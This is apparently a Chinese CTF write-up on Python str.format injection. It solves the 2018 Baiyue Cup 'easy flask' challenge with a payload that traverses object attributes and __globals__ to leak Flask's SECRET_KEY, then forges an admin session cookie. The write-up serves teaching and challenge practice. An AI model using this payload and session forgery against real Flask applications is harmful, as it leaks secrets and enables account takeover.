简介
就是使用方法不当导致格式化字符串的时候字符串受我们的控制
python常见格式化字符串的方式
百分号形式
1 | name = 'Xi4or0uji' |
使用标准库中的模板字符串
1 | from string import Template |
利用format格式化字符串
直接格式化字符串
1 | print 'My name is {}'.format('Xi4or0uji') |
指定位置
1 | print 'this is a {0}, that is a {1}'.format('cat','dog') |
设置参数
1 | print 'hello {adj} {name}'.format(adj='little',name='h4ck3r') |
百分比格式
1 | print '{:.2%} off'.format(0.20) |
获得数组的键值
1 | print '{arr[2]}'.format(arr=[0,1,2,3,4,5]) |
还有很多,不举例了
一个小栗子
1 | config = {'SECRET_KEY':'lolololol'} |
在这里的format如果可以受我们所控,就可以通过原来的对象获得他的所有的变量,从而将敏感信息打印出来
例题
2018百越杯 easy flask
这题先去注册登录,然后可以看到有个session
解密一下出来是一个id值
登录页面发现有id这个参数,遍历一下可以看到id是5时,用户是admin
扫下泄露出来一个www.zip ,可以看到,想要拿到flag,必须是管理员1
2
3
4
5
6
7
8
def get_flag():
if(g.user.username=="admin"):
with open(os.path.dirname(__file__)+'/flag','rb') as f:
flag = f.read()
return flag
return "Not admin!!"
继续看下secret.py有个views_info函数1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def views_info():
view_id = request.args.get('id')
if not view_id:
view_id = session.get('user_id')
user_m = user.query.filter_by(id=view_id).first()
if user_m is None:
flash(u"该用户未注册")
return render_template('secert/views.html')
if str(session.get('user_id'))==str(view_id):
secert_m = secert.query.filter_by(id=view_id).first()
secert_t = u"<p>{secert.secert}<p>".format(secert = secert_m)
else:
secert_t = u"<p>***************************************<p>"
name = u"<h1>name:{user_m.username}<h1>"
email = u"<h2>email:{user_m.email}<h2>"
info = (name+email+secert_t).format(user_m=user_m)
return render_template('secert/views.html',info = info)
可以看到,这里有个format函数,里面有name、email和secret_t,继续往上看,还有一个format函数,解析secret_m,secret_m就是页面edit_secret的那个参数,至此,我们就可以利用format格式化字符串漏洞获得secret-key然后session伪造登录
payload如下1
{user_m.__class__.__mro__[1].__class__.__mro__[0].__init__.__globals__[SQLAlchemy].__init__.__globals__[current_app].config}
最后得到secret_key为ichunqiuQAQ013,接下来就是session的伪造1
2
3
4
5
6
7
8
9
10
11
12from flask import Flask,session
app = Flask(__name__)
app.config['SECRET_KEY'] = 'ichunqiuQAQ013'
def set_id():
session['id'] = 5
return "ok"
if __name__ == '__main__':
app.debug = True
app.run()
然后修改session登录访问/flag就有flag